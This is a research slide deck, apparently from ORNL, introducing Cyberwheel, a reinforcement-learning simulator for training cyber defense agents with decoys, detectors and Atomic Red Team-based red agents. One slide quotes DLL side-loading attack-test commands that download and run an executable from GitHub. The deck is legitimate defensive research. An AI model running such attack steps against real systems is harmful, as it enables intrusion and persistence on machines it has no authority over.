

### Towards a High Fidelity Training Environment for Autonomous Cyber Defense Agents

Advisors: Edmon Begoli, Ryan Adamson, Maria McClelland, Ben Mintz



Sean Oesch Amul Chaulagain Brian Weber



Cory Watson Matthew Dixson Phillipe Austria **UT-Battelle Business Sensitive** 



ORNL is managed by UT-Battelle LLC for the US Department of Energy

### BLUF

- We've built a cybersecurity RL simulation environment, and we want you to try it:
  - https://github.com/ORNL/cyberwheel





### Overview

- RL Intro and Simulator Goals
- Simulator Design
- Proof-of-concept testing



### How Reinforcement Learning Works

- RL how to map situations to actions to maximize a numerical reward signal
- RL uses a policy, a reward signal, a value function, and, optionally, a model of the environment
- Deep Learning learn good representations of your data without feature engineering and efficiently optimize for end loss (gradients)



Basic Diagram of Reinforcement Learning - KDNuggets



# Example: Chess

- Environment: Chess board
- Agent: Black/White
- Action: Legal chess moves
- Reward Function:
  - (+): taking pieces, gaining board space, taking enemy king, etc.
  - (-): taken pieces, losing board space, losing own king, etc.
- Observation Space: State of the board





# Challenges with RL for Network Defense

- Computer networks are complex and *dynamic* environments
- The "game" is not always well-defined
- Arbitrary reward function
- Unconstrained action space





### Agent Goals

- Be adaptable
  - To different deployment environments
  - To a dynamic network topology
  - To varying adversary goals and TTPs
  - To differing defensive goals (CIA triangle)
  - To differing organizations' defensive capabilities
- Be deployable
  - Regardless of an organizations existing stack
  - In a reasonable amount of time, without disruption



# Existing Simulator Shortcomings

- Limited Scope & Scalability: Narrow focus, poor scalability, and lack of parallel support hinder research flexibility
- Poor Usability & Extensibility: Outdated code, convoluted design, and absent documentation impede development
- **Missing Features:** Core functionalities promised in papers or Readmes are not implemented
- Lack of Real-World Relevance: Insufficient granularity and absence of open access limit practical application
- Impractical Observation Space: Observations drawn directly from network state agent acting as a detector too



# Simulator Goals

- Train agents with vast and diverse experience during training
  - Simulation performance increases training volume
  - Easily generate diverse and realistic networks
  - Easily build red agents with differing goals and TTPs
  - Easily extend and limit blue agent capabilities during training
- Provide a pragmatic balance of granularity and tractability
  - Utilize industry knowledge graphs and taxonomies where possible
  - Realistic network simulation
- Train agents which integrate easily with existing defense stacks
  - Agents draw observations from the SIEM, not directly from hosts on the network
  - Agent should be able to adapt to varying detector fidelity



# Cyberwheel Simulator Design



### Network Simulation

- Network comprised of routers, subnets, and hosts represented as nodes in networkx graph
- Routers manage network traffic between subnets
- Subnets represent a broadcast domain
- Hosts are machines/devices that belong to a subnet
  - contain list of running services with ports, cves, etc.



# Network Configuration

- Networks configured with YAML files
  - defines routers, hosts, subnets
  - Can reference host types and services defined in separate configs
- Developed config generator
  - allows ad-hoc network generation with various sizes
  - simplifies training on different networks

# Host Type Config Example
host\_types:
workstation: # Name of host type

services: # list of services by name

- WindowsDiscoveryExploitableService
- WindowsLateralMovementExploitableService
- WindowsPrivilegeEscalationExploitableService
- WindowsImpactExploitableService decoy: false

os: windows

# Network Config Example hosts: # Define Hosts in network dmz0: # Host name firewall: # Define firewall rules here routes: # Define routes here subnet: dmz\_subnet type: workstation subnets: # Define Subnets in network dmz\_subnet: # Subnet name firewall: # Define firewall rules here ip\_range: 192.168.4.0/24 router: core\_router

Example network\_config.yaml

# Service Config Example WindowsDiscoveryExploitableService: # Defines exploitable Windows service cve: - CVE-2023-28325 - CVE-2021-32526 port: 8010 protocol: tcp version: 1 description: exploitable by Discovery decoy: False name: WindowsDiscoveryExploitableService

Example service\_config.yaml



Example host\_type\_config.yaml

### Observation Space – Detectors and Alerts

- Red actions generate Base Alerts which contain:
  - The source host: the host performing the red action
  - The destination host(s): the hosts targeted by the red action
  - Services: the service(s) that are being used by the red action
  - Techniques: MITRE ATT&K technique(s) associated with this action
  - etc
- Detectors act as a filter to these alerts and are intended to model things like NIDS (Network Intrusion Detection System) and HIDS (Host Intrustion Detection System).



# Observation Space – Detectors and Alerts

- Detectors can filter out Alerts, add noise, or even create falsepositive Alerts
- Multiple detectors can be used together to capture different red agent behaviors and mimic real-world deployments
- Detectors' Alerts are converted into an observation vector the RL agent can use
- Detectors have a simple interface to easily extend and build realistic models of detector behavior



### Example

17

 Malicious software on host A exploits a vulnerable service on neighboring host B



Open slide master to edit

### **Extensible Action Spaces**

- Easily create and add new blue agent actions
- Action spaces configurable via YAML



# Atomic Red Team (ART) - Based Red Actions

- ART Technique
  - Mitre ID
  - Killchain Phase(s)
  - Exploitable CVEs
  - Atomic Tests to execute attack
    - list of commands to run attack

### **DLL Side-Loading Technique**

#### Mitre ID: T1574.002

**Kill Chain Phases:** Persistence, Privilege Escalation, Defense Evasion **CVE List:** CVE-2021-37214, CVE-2022-41874, CVE-2023-28628, CVE-2022-27778, CVE-2021-37212, CVE-2022-28198, CVE-2023-28643, CVE-2023-42451, CVE-2021-37213, CVE-2021-37215, CVE-2022-31089, CVE-2020-26233

### Atomic Tests:

<u>DLL Side-Loading using the Notepad++ GUP.exe binary</u> **Supported Platforms:** Windows **Input Arguments:** 

process\_name: calculator.exe

• gup\_executable: PathToAtomicsFolder\T1574.002\bin\GUP.exe **Dependencies:** Gup.exe binary must exist on disk at specified location **Commands (shown below):** 

New-Item -Type Directory (split-path "#{gup\_executable}") -ErrorAction ignore | Out-Null

Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true" -OutFile "#{gup\_executable}"

if (Test-Path "#{gup\_executable}") {exit 0} else {exit 1}

"#{gup\_executable}"

taskkill /F /IM #{process\_name} >nul 2>&1



List of commands necessary for attack



# Cyberwheel Proof-of-Concept Experiments



# Blue Agent – Cyber Deception

- Defender focused on deploying decoy hosts on network to detect red agent position and slow progress
- Actions
  - Deploy decoy
  - Isolate decoy
  - Remove decoy
  - Isolate host
  - Restore host
- Each action has an associated immediate and recurring cost
- Rewards and costs defined based on Blue Agent goals



## Red Agent

- Defines kill chain as sequence of attack
- Configurable exploration
   strategy
  - Impact all servers on network
  - Impact specific host on network
  - Impact all hosts
- Long-term goal is to make the red agent RL-based as well





# Evaluation – Cyber Deception



Attack in network with no defender agent

Attack in network with trained decoy agent – red agent impacts decoy instead of server host

 Training blue agent to deploy decoys to detect and slow red agent attack progress



### Simulator Scalability Performance

Episodic Runtime by Network Size





# **Emulation Design**

- High-fidelity environment to evaluated RL Agent
- Firewheel Emulator testbed developed by Sandia National Laboratory to emulate large-scale networks and perform repeatable experiments
- Three main modules in our emulation environment



- 1. Scenario Converter converts a scenario (i.e., network configuration) file to a Firewheel plugin file.
- 2. Action Controller sends commands to attacker and defender hosts (virtual machines) to execute actions.
- 3. Observation Converter converts logs from Firewheel emulator to an observation space vector.



### Future work

- "Turning up the difficulty"
- Scale up training
  - Curriculum learning
- Transferring simulator-trained agents to emulator for testing on emulated networks, ideally with minimal or no retraining
- Transferring simulator-trained, emulator-tested agents to real networks for testing and deployment
- Adding support in simulator for RL based red agents
- Building out the library of available red/blue actions





# Discussion





# Supplemental Material



### **Reward Function**

- Rewards are gained each step as defined by a reward function
- Takes the results from the blue and red actions and calculates the final reward
- Action can produce two types of rewards:
  - Immediate- the reward gained this step. Simulates immediate impacts to the network
  - Recurring- the reward gained this step and on future steps. Simulates lasting impacts to the network,
    - Possible for actions to remove recurring rewards



# ART Agent Logic

- ART Agent Killchain:
  - Pingsweep, Portscan, Discovery, Privilege Escalation, Impact
  - Lateral Movement used to move between hosts as needed
- When running a Killchain Phase on a Host, it chooses an ART Technique that:
  - supports the Host OS
  - Is part of that killchain phase
  - Can exploit a CVE on the target Host
- This allows a Killchain Phase attack to translate into executable commands

